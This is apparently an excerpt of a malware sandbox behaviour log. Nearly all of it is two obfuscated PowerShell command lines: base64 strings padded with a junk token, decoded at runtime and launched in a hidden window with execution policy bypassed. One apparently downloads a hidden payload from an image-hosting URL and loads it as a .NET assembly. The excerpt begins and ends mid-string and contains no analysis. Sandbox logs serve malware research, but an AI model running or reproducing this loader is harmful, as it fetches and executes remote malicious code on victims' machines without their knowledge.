QmTktteTÇCmG4hvWQmTktteTÇCmZhvWQmTktteTÇCmBlhvWQmTktteTÇCmHghvWQmTktteTÇCmIhvWQmTktteTÇCmhvWQmTktteTÇCmthvWQmTktteTÇCmGchvWQmTktteTÇCmdhvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmHMhvWQmTktteTÇCmdhvWQmTktteTÇCmBhhvWQmTktteTÇCmHIhvWQmTktteTÇCmdhvWQmTktteTÇCmBJhvWQmTktteTÇCmG4hvWQmTktteTÇCmZhvWQmTktteTÇCmBlhvWQmTktteTÇCmHghvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBzhvWQmTktteTÇCmHQhvWQmTktteTÇCmYQhvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwByhvWQmTktteTÇCmHQhvWQmTktteTÇCmSQBuhvWQmTktteTÇCmGQhvWQmTktteTÇCmZQB4hvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmKwhvWQmTktteTÇCm9hvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmcwB0hvWQmTktteTÇCmGEhvWQmTktteTÇCmcgB0hvWQmTktteTÇCmEYhvWQmTktteTÇCmbhvWQmTktteTÇCmBhhvWQmTktteTÇCmGchvWQmTktteTÇCmLgBMhvWQmTktteTÇCmGUhvWQmTktteTÇCmbgBnhvWQmTktteTÇCmHQhvWQmTktteTÇCmahvWQmTktteTÇCmhvWQmTktteTÇCm7hvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmGIhvWQmTktteTÇCmYQBzhvWQmTktteTÇCmGUhvWQmTktteTÇCmNghvWQmTktteTÇCm0hvWQmTktteTÇCmEwhvWQmTktteTÇCmZQBuhvWQmTktteTÇCmGchvWQmTktteTÇCmdhvWQmTktteTÇCmBohvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmPQhvWQmTktteTÇCmghvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmGUhvWQmTktteTÇCmbgBkhvWQmTktteTÇCmEkhvWQmTktteTÇCmbgBkhvWQmTktteTÇCmGUhvWQmTktteTÇCmehvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmC0hvWQmTktteTÇCmIhvWQmTktteTÇCmByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNghvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwBzhvWQmTktteTÇCmHQhvWQmTktteTÇCmYQByhvWQmTktteTÇCmHQhvWQmTktteTÇCmSQBuhvWQmTktteTÇCmGQhvWQmTktteTÇCmZQB4hvWQmTktteTÇCmDshvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmYgBhhvWQmTktteTÇCmHMhvWQmTktteTÇCmZQhvWQmTktteTÇCm2hvWQmTktteTÇCmDQhvWQmTktteTÇCmQwBvhvWQmTktteTÇCmG0hvWQmTktteTÇCmbQBhhvWQmTktteTÇCmG4hvWQmTktteTÇCmZhvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmD0hvWQmTktteTÇCmIhvWQmTktteTÇCmByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBphvWQmTktteTÇCmG0hvWQmTktteTÇCmYQBnhvWQmTktteTÇCmGUhvWQmTktteTÇCmVhvWQmTktteTÇCmBlhvWQmTktteTÇCmHghvWQmTktteTÇCmdhvWQmTktteTÇCmhvWQmTktteTÇCmuhvWQmTktteTÇCmFMhvWQmTktteTÇCmdQBihvWQmTktteTÇCmHMhvWQmTktteTÇCmdhvWQmTktteTÇCmByhvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmGkhvWQmTktteTÇCmbgBnhvWQmTktteTÇCmCghvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmcwB0hvWQmTktteTÇCmGEhvWQmTktteTÇCmcgB0hvWQmTktteTÇCmEkhvWQmTktteTÇCmbgBkhvWQmTktteTÇCmGUhvWQmTktteTÇCmehvWQmTktteTÇCmhvWQmTktteTÇCmshvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmYgBhhvWQmTktteTÇCmHMhvWQmTktteTÇCmZQhvWQmTktteTÇCm2hvWQmTktteTÇCmDQhvWQmTktteTÇCmThvWQmTktteTÇCmBlhvWQmTktteTÇCmG4hvWQmTktteTÇCmZwB0hvWQmTktteTÇCmGghvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmKQhvWQmTktteTÇCm7hvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmGMhvWQmTktteTÇCmbwBthvWQmTktteTÇCmG0hvWQmTktteTÇCmYQBuhvWQmTktteTÇCmGQhvWQmTktteTÇCmQgB5hvWQmTktteTÇCmHQhvWQmTktteTÇCmZQBzhvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmPQhvWQmTktteTÇCmghvWQmTktteTÇCmFshvWQmTktteTÇCmUwB5hvWQmTktteTÇCmHMhvWQmTktteTÇCmdhvWQmTktteTÇCmBlhvWQmTktteTÇCmG0hvWQmTktteTÇCmLgBDhvWQmTktteTÇCmG8hvWQmTktteTÇCmbgB2hvWQmTktteTÇCmGUhvWQmTktteTÇCmcgB0hvWQmTktteTÇCmF0hvWQmTktteTÇCmOghvWQmTktteTÇCm6hvWQmTktteTÇCmEYhvWQmTktteTÇCmcgBvhvWQmTktteTÇCmG0hvWQmTktteTÇCmQgBhhvWQmTktteTÇCmHMhvWQmTktteTÇCmZQhvWQmTktteTÇCm2hvWQmTktteTÇCmDQhvWQmTktteTÇCmUwB0hvWQmTktteTÇCmHIhvWQmTktteTÇCmaQBuhvWQmTktteTÇCmGchvWQmTktteTÇCmKhvWQmTktteTÇCmByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBihvWQmTktteTÇCmGEhvWQmTktteTÇCmcwBlhvWQmTktteTÇCmDYhvWQmTktteTÇCmNhvWQmTktteTÇCmBDhvWQmTktteTÇCmG8hvWQmTktteTÇCmbQBthvWQmTktteTÇCmGEhvWQmTktteTÇCmbgBkhvWQmTktteTÇCmCkhvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBshvWQmTktteTÇCmG8hvWQmTktteTÇCmYQBkhvWQmTktteTÇCmGUhvWQmTktteTÇCmZhvWQmTktteTÇCmBBhvWQmTktteTÇCmHMhvWQmTktteTÇCmcwBlhvWQmTktteTÇCmG0hvWQmTktteTÇCmYgBshvWQmTktteTÇCmHkhvWQmTktteTÇCmIhvWQmTktteTÇCmhvWQmTktteTÇCm9hvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmWwBThvWQmTktteTÇCmHkhvWQmTktteTÇCmcwB0hvWQmTktteTÇCmGUhvWQmTktteTÇCmbQhvWQmTktteTÇCmuhvWQmTktteTÇCmFIhvWQmTktteTÇCmZQBmhvWQmTktteTÇCmGwhvWQmTktteTÇCmZQBjhvWQmTktteTÇCmHQhvWQmTktteTÇCmaQBvhvWQmTktteTÇCmG4hvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmLgBBhvWQmTktteTÇCmHMhvWQmTktteTÇCmcwBlhvWQmTktteTÇCmG0hvWQmTktteTÇCmYghvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwBshvWQmTktteTÇCmHkhvWQmTktteTÇCmXQhvWQmTktteTÇCm6hvWQmTktteTÇCmDohvWQmTktteTÇCmThvWQmTktteTÇCmBvhvWQmTktteTÇCmGEhvWQmTktteTÇCmZhvWQmTktteTÇCmhvWQmTktteTÇCmohvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmGMhvWQmTktteTÇCmbwBthvWQmTktteTÇCmG0hvWQmTktteTÇCmYQBuhvWQmTktteTÇCmGQhvWQmTktteTÇCmQgB5hvWQmTktteTÇCmHQhvWQmTktteTÇCmZQBzhvWQmTktteTÇCmCkhvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgB0hvWQmTktteTÇCmHkhvWQmTktteTÇCmchvWQmTktteTÇCmBlhvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmPQhvWQmTktteTÇCmghvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmGwhvWQmTktteTÇCmbwBhhvWQmTktteTÇCmGQhvWQmTktteTÇCmZQhvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwBkhvWQmTktteTÇCmEEhvWQmTktteTÇCmcwBzhvWQmTktteTÇCmGUhvWQmTktteTÇCmbQBihvWQmTktteTÇCmGwhvWQmTktteTÇCmeQhvWQmTktteTÇCmuhvWQmTktteTÇCmEchvWQmTktteTÇCmZQB0hvWQmTktteTÇCmFQhvWQmTktteTÇCmeQBwhvWQmTktteTÇCmGUhvWQmTktteTÇCmKhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwBGhvWQmTktteTÇCmGkhvWQmTktteTÇCmYgBlhvWQmTktteTÇCmHIhvWQmTktteTÇCmLgBIhvWQmTktteTÇCmG8hvWQmTktteTÇCmbQBlhvWQmTktteTÇCmHkhvWQmTktteTÇCmUQBThvWQmTktteTÇCmCkhvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBthvWQmTktteTÇCmGUhvWQmTktteTÇCmdhvWQmTktteTÇCmBohvWQmTktteTÇCmG8hvWQmTktteTÇCmZhvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmD0hvWQmTktteTÇCmIhvWQmTktteTÇCmByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgB0hvWQmTktteTÇCmHkhvWQmTktteTÇCmchvWQmTktteTÇCmBlhvWQmTktteTÇCmC4hvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmRwBlhvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmHQhvWQmTktteTÇCmTQBlhvWQmTktteTÇCmHQhvWQmTktteTÇCmahvWQmTktteTÇCmBvhvWQmTktteTÇCmGQhvWQmTktteTÇCmKhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwBWhvWQmTktteTÇCmEEhvWQmTktteTÇCmSQB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwhvWQmTktteTÇCmphvWQmTktteTÇCmC4hvWQmTktteTÇCmSQBuhvWQmTktteTÇCmHYhvWQmTktteTÇCmbwBrhvWQmTktteTÇCmGUhvWQmTktteTÇCmKhvWQmTktteTÇCmByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBuhvWQmTktteTÇCmHUhvWQmTktteTÇCmbhvWQmTktteTÇCmBshvWQmTktteTÇCmCwhvWQmTktteTÇCmIhvWQmTktteTÇCmBbhvWQmTktteTÇCmG8hvWQmTktteTÇCmYgBqhvWQmTktteTÇCmGUhvWQmTktteTÇCmYwB0hvWQmTktteTÇCmFshvWQmTktteTÇCmXQBdhvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmKhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwBNhvWQmTktteTÇCmEMhvWQmTktteTÇCmOQhvWQmTktteTÇCm2hvWQmTktteTÇCmFMhvWQmTktteTÇCmbhvWQmTktteTÇCmBshvWQmTktteTÇCmHchvWQmTktteTÇCmVhvWQmTktteTÇCmBphvWQmTktteTÇCmDkhvWQmTktteTÇCmawBMhvWQmTktteTÇCmDIhvWQmTktteTÇCmVgBshvWQmTktteTÇCmEwhvWQmTktteTÇCmbQBWhvWQmTktteTÇCmDhvWQmTktteTÇCmhvWQmTktteTÇCmYwhvWQmTktteTÇCmyhvWQmTktteTÇCmEYhvWQmTktteTÇCmdwBMhvWQmTktteTÇCmHkhvWQmTktteTÇCmOhvWQmTktteTÇCmhvWQmTktteTÇCm2hvWQmTktteTÇCmGMhvWQmTktteTÇCmMwBChvWQmTktteTÇCmDhvWQmTktteTÇCmhvWQmTktteTÇCmZhvWQmTktteTÇCmBHhvWQmTktteTÇCmGchvWQmTktteTÇCmPQB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwhvWQmTktteTÇCmghvWQmTktteTÇCmCwhvWQmTktteTÇCmIhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwhvWQmTktteTÇCmghvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmCwhvWQmTktteTÇCmIhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwhvWQmTktteTÇCmyhvWQmTktteTÇCmHkhvWQmTktteTÇCmUQBThvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmLhvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmHkhvWQmTktteTÇCmUQBThvWQmTktteTÇCmEkhvWQmTktteTÇCmZwBmhvWQmTktteTÇCmHghvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmeQBRhvWQmTktteTÇCmFMhvWQmTktteTÇCmIhvWQmTktteTÇCmhvWQmTktteTÇCmshvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmeQBRhvWQmTktteTÇCmFMhvWQmTktteTÇCmMwB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwhvWQmTktteTÇCmghvWQmTktteTÇCmCwhvWQmTktteTÇCmIhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwBDhvWQmTktteTÇCmDohvWQmTktteTÇCmcQBrhvWQmTktteTÇCmFhvWQmTktteTÇCmhvWQmTktteTÇCmUhvWQmTktteTÇCmByhvWQmTktteTÇCmG8hvWQmTktteTÇCmZwByhvWQmTktteTÇCmGEhvWQmTktteTÇCmbQBEhvWQmTktteTÇCmGEhvWQmTktteTÇCmdhvWQmTktteTÇCmBhhvWQmTktteTÇCmHEhvWQmTktteTÇCmawBQhvWQmTktteTÇCmHkhvWQmTktteTÇCmUQBThvWQmTktteTÇCmCwhvWQmTktteTÇCmIhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwBJhvWQmTktteTÇCmGchvWQmTktteTÇCmZgB4hvWQmTktteTÇCmHkhvWQmTktteTÇCmUQBThvWQmTktteTÇCmCkhvWQmTktteTÇCmKQhvWQmTktteTÇCmnhvWQmTktteTÇCmCkhvWQmTktteTÇCmLgByhvWQmTktteTÇCmGUhvWQmTktteTÇCmchvWQmTktteTÇCmBshvWQmTktteTÇCmEEhvWQmTktteTÇCmYwBFhvWQmTktteTÇCmCghvWQmTktteTÇCmJwBxhvWQmTktteTÇCmGshvWQmTktteTÇCmUhvWQmTktteTÇCmhvWQmTktteTÇCmnhvWQmTktteTÇCmCwhvWQmTktteTÇCmJwBchvWQmTktteTÇCmCchvWQmTktteTÇCmKQhvWQmTktteTÇCmuhvWQmTktteTÇCmHIhvWQmTktteTÇCmZQBwhvWQmTktteTÇCmGwhvWQmTktteTÇCmQQBjhvWQmTktteTÇCmEUhvWQmTktteTÇCmKhvWQmTktteTÇCmhvWQmTktteTÇCmohvWQmTktteTÇCmFshvWQmTktteTÇCmYwBIhvWQmTktteTÇCmGEhvWQmTktteTÇCmUgBdhvWQmTktteTÇCmDEhvWQmTktteTÇCmMghvWQmTktteTÇCmxhvWQmTktteTÇCmCshvWQmTktteTÇCmWwBjhvWQmTktteTÇCmEghvWQmTktteTÇCmYQBShvWQmTktteTÇCmF0hvWQmTktteTÇCmOhvWQmTktteTÇCmhvWQmTktteTÇCmxhvWQmTktteTÇCmCshvWQmTktteTÇCmWwBjhvWQmTktteTÇCmEghvWQmTktteTÇCmYQBShvWQmTktteTÇCmF0hvWQmTktteTÇCmOhvWQmTktteTÇCmhvWQmTktteTÇCmzhvWQmTktteTÇCmCkhvWQmTktteTÇCmLhvWQmTktteTÇCmBbhvWQmTktteTÇCmHMhvWQmTktteTÇCmVhvWQmTktteTÇCmByhvWQmTktteTÇCmEkhvWQmTktteTÇCmTgBnhvWQmTktteTÇCmF0hvWQmTktteTÇCmWwBjhvWQmTktteTÇCmEghvWQmTktteTÇCmYQBShvWQmTktteTÇCmF0hvWQmTktteTÇCmMwhvWQmTktteTÇCm5hvWQmTktteTÇCmCkhvWQmTktteTÇCmLgByhvWQmTktteTÇCmGUhvWQmTktteTÇCmchvWQmTktteTÇCmBshvWQmTktteTÇCmEEhvWQmTktteTÇCmYwBFhvWQmTktteTÇCmCghvWQmTktteTÇCmKhvWQmTktteTÇCmBbhvWQmTktteTÇCmGMhvWQmTktteTÇCmShvWQmTktteTÇCmBhhvWQmTktteTÇCmFIhvWQmTktteTÇCmXQhvWQmTktteTÇCmxhvWQmTktteTÇCmDEhvWQmTktteTÇCmNhvWQmTktteTÇCmhvWQmTktteTÇCmrhvWQmTktteTÇCmFshvWQmTktteTÇCmYwBIhvWQmTktteTÇCmGEhvWQmTktteTÇCmUgBdhvWQmTktteTÇCmDEhvWQmTktteTÇCmMQhvWQmTktteTÇCmwhvWQmTktteTÇCmCshvWQmTktteTÇCmWwBjhvWQmTktteTÇCmEghvWQmTktteTÇCmYQBShvWQmTktteTÇCmF0hvWQmTktteTÇCmNQhvWQmTktteTÇCm0hvWQmTktteTÇCmCkhvWQmTktteTÇCmLhvWQmTktteTÇCmhvWQmTktteTÇCmnhvWQmTktteTÇCmCQhvWQmTktteTÇCmJwhvWQmTktteTÇCmphvWQmTktteTÇCmHwhvWQmTktteTÇCmIhvWQmTktteTÇCmBJhvWQmTktteTÇCmG4hvWQmTktteTÇCmVgBvhvWQmTktteTÇCmGshvWQmTktteTÇCmRQhvWQmTktteTÇCmthvWQmTktteTÇCmGUhvWQmTktteTÇCmWhvWQmTktteTÇCmBwhvWQmTktteTÇCmHIhvWQmTktteTÇCmZQBzhvWQmTktteTÇCmFMhvWQmTktteTÇCmaQBPhvWQmTktteTÇCmG4hvWQmTktteTÇCm';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('hvWQmTktteTÇCm','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000578
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: powershell
parameters: -command "$Codigo = 'KhvWQmTktteTÇCmhvWQmTktteTÇCmnhvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmGkhvWQmTktteTÇCmbQBhhvWQmTktteTÇCmGchvWQmTktteTÇCmZQBVhvWQmTktteTÇCmHIhvWQmTktteTÇCmbhvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmD0hvWQmTktteTÇCmIhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwBohvWQmTktteTÇCmHQhvWQmTktteTÇCmdhvWQmTktteTÇCmBwhvWQmTktteTÇCmHMhvWQmTktteTÇCmOghvWQmTktteTÇCmvhvWQmTktteTÇCmC8hvWQmTktteTÇCmdQBwhvWQmTktteTÇCmGwhvWQmTktteTÇCmbwBhhvWQmTktteTÇCmGQhvWQmTktteTÇCmZhvWQmTktteTÇCmBlhvWQmTktteTÇCmGkhvWQmTktteTÇCmbQBhhvWQmTktteTÇCmGchvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmZQBuhvWQmTktteTÇCmHMhvWQmTktteTÇCmLgBjhvWQmTktteTÇCmG8hvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmbQhvWQmTktteTÇCmuhvWQmTktteTÇCmGIhvWQmTktteTÇCmcghvWQmTktteTÇCmvhvWQmTktteTÇCmGkhvWQmTktteTÇCmbQBhhvWQmTktteTÇCmGchvWQmTktteTÇCmZQBzhvWQmTktteTÇCmC8hvWQmTktteTÇCmMhvWQmTktteTÇCmhvWQmTktteTÇCmwhvWQmTktteTÇCmDQhvWQmTktteTÇCmLwhvWQmTktteTÇCm2hvWQmTktteTÇCmDUhvWQmTktteTÇCmNhvWQmTktteTÇCmhvWQmTktteTÇCmvhvWQmTktteTÇCmDUhvWQmTktteTÇCmMwhvWQmTktteTÇCm2hvWQmTktteTÇCmC8hvWQmTktteTÇCmbwByhvWQmTktteTÇCmGkhvWQmTktteTÇCmZwBphvWQmTktteTÇCmG4hvWQmTktteTÇCmYQBshvWQmTktteTÇCmC8hvWQmTktteTÇCmbgBlhvWQmTktteTÇCmHchvWQmTktteTÇCmXwBphvWQmTktteTÇCmG0hvWQmTktteTÇCmYQBnhvWQmTktteTÇCmGUhvWQmTktteTÇCmLgBqhvWQmTktteTÇCmHhvWQmTktteTÇCmhvWQmTktteTÇCmZwhvWQmTktteTÇCm/hvWQmTktteTÇCmDEhvWQmTktteTÇCmNghvWQmTktteTÇCm5hvWQmTktteTÇCmDghvWQmTktteTÇCmOQhvWQmTktteTÇCm1hvWQmTktteTÇCmDchvWQmTktteTÇCmNwhvWQmTktteTÇCm1hvWQmTktteTÇCmDhvWQmTktteTÇCmhvWQmTktteTÇCmeQBRhvWQmTktteTÇCmFMhvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgB3hvWQmTktteTÇCmGUhvWQmTktteTÇCmYgBDhvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmGwhvWQmTktteTÇCmaQBlhvWQmTktteTÇCmG4hvWQmTktteTÇCmdhvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmD0hvWQmTktteTÇCmIhvWQmTktteTÇCmBOhvWQmTktteTÇCmGUhvWQmTktteTÇCmdwhvWQmTktteTÇCmthvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmE8hvWQmTktteTÇCmYgBqhvWQmTktteTÇCmGUhvWQmTktteTÇCmYwB0hvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmUwB5hvWQmTktteTÇCmHMhvWQmTktteTÇCmdhvWQmTktteTÇCmBlhvWQmTktteTÇCmG0hvWQmTktteTÇCmLgBOhvWQmTktteTÇCmGUhvWQmTktteTÇCmdhvWQmTktteTÇCmhvWQmTktteTÇCmuhvWQmTktteTÇCmFchvWQmTktteTÇCmZQBihvWQmTktteTÇCmEMhvWQmTktteTÇCmbhvWQmTktteTÇCmBphvWQmTktteTÇCmGUhvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmbgB0hvWQmTktteTÇCmDshvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmaQBthvWQmTktteTÇCmGEhvWQmTktteTÇCmZwBlhvWQmTktteTÇCmEIhvWQmTktteTÇCmeQB0hvWQmTktteTÇCmGUhvWQmTktteTÇCmcwhvWQmTktteTÇCmghvWQmTktteTÇCmD0hvWQmTktteTÇCmIhvWQmTktteTÇCmByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgB3hvWQmTktteTÇCmGUhvWQmTktteTÇCmYgBDhvWQmTktteTÇCmGwhvWQmTktteTÇCmaQBlhvWQmTktteTÇCmG4hvWQmTktteTÇCmdhvWQmTktteTÇCmhvWQmTktteTÇCmuhvWQmTktteTÇCmEQhvWQmTktteTÇCmbwB3hvWQmTktteTÇCmG4hvWQmTktteTÇCmbhvWQmTktteTÇCmBvhvWQmTktteTÇCmGEhvWQmTktteTÇCmZhvWQmTktteTÇCmBEhvWQmTktteTÇCmGEhvWQmTktteTÇCmdhvWQmTktteTÇCmBhhvWQmTktteTÇCmCghvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmaQhvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwBthvWQmTktteTÇCmGEhvWQmTktteTÇCmZwhvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwBlhvWQmTktteTÇCmFUhvWQmTktteTÇCmcgBshvWQmTktteTÇCmCkhvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBphvWQmTktteTÇCmG0hvWQmTktteTÇCmYQBnhvWQmTktteTÇCmGUhvWQmTktteTÇCmVhvWQmTktteTÇCmBlhvWQmTktteTÇCmHghvWQmTktteTÇCmdhvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmD0hvWQmTktteTÇCmIhvWQmTktteTÇCmBbhvWQmTktteTÇCmFMhvWQmTktteTÇCmeQBzhvWQmTktteTÇCmHQhvWQmTktteTÇCmZQBthvWQmTktteTÇCmC4hvWQmTktteTÇCmVhvWQmTktteTÇCmBlhvWQmTktteTÇCmHghvWQmTktteTÇCmdhvWQmTktteTÇCmhvWQmTktteTÇCmuhvWQmTktteTÇCmEUhvWQmTktteTÇCmbgBjhvWQmTktteTÇCmG8hvWQmTktteTÇCmZhvWQmTktteTÇCmBphvWQmTktteTÇCmG4hvWQmTktteTÇCmZwBdhvWQmTktteTÇCmDohvWQmTktteTÇCmOgBVhvWQmTktteTÇCmFQhvWQmTktteTÇCmRghvWQmTktteTÇCm4hvWQmTktteTÇCmC4hvWQmTktteTÇCmRwBlhvWQmTktteTÇCmHQhvWQmTktteTÇCmUwB0hvWQmTktteTÇCmHIhvWQmTktteTÇCmaQBuhvWQmTktteTÇCmGchvWQmTktteTÇCmKhvWQmTktteTÇCmByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNghvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwBphvWQmTktteTÇCmG0hvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmYQBnhvWQmTktteTÇCmGUhvWQmTktteTÇCmQgB5hvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmHQhvWQmTktteTÇCmZQBzhvWQmTktteTÇCmCkhvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBzhvWQmTktteTÇCmHQhvWQmTktteTÇCmYQByhvWQmTktteTÇCmHQhvWQmTktteTÇCmRgBshvWQmTktteTÇCmGEhvWQmTktteTÇCmZwhvWQmTktteTÇCmghvWQmTktteTÇCmD0hvWQmTktteTÇCmIhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwhvWQmTktteTÇCm8hvWQmTktteTÇCmDwhvWQmTktteTÇCmQgBBhvWQmTktteTÇCmFMhvWQmTktteTÇCmRQhvWQmTktteTÇCm2hvWQmTktteTÇCmDQhvWQmTktteTÇCmXwBThvWQmTktteTÇCmFQhvWQmTktteTÇCmQQBShvWQmTktteTÇCmFQhvWQmTktteTÇCmPghvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwhvWQmTktteTÇCm+hvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmHkhvWQmTktteTÇCmUQBThvWQmTktteTÇCmDshvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmZQBuhvWQmTktteTÇCmGQhvWQmTktteTÇCmRgBshvWQmTktteTÇCmGEhvWQmTktteTÇCmZwhvWQmTktteTÇCmghvWQmTktteTÇCmD0hvWQmTktteTÇCmIhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwhvWQmTktteTÇCm8hvWQmTktteTÇCmDwhvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmQgBBhvWQmTktteTÇCmFMhvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmRQhvWQmTktteTÇCm2hvWQmTktteTÇCmDQhvWQmTktteTÇCmXwBFhvWQmTktteTÇCmE4hvWQmTktteTÇCmRhvWQmTktteTÇCmhvWQmTktteTÇCm+hvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmD4hvWQmTktteTÇCmeQBRhvWQmTktteTÇCmFMhvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNghvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwBzhvWQmTktteTÇCmHQhvWQmTktteTÇCmYQByhvWQmTktteTÇCmHQhvWQmTktteTÇCmSQBuhvWQ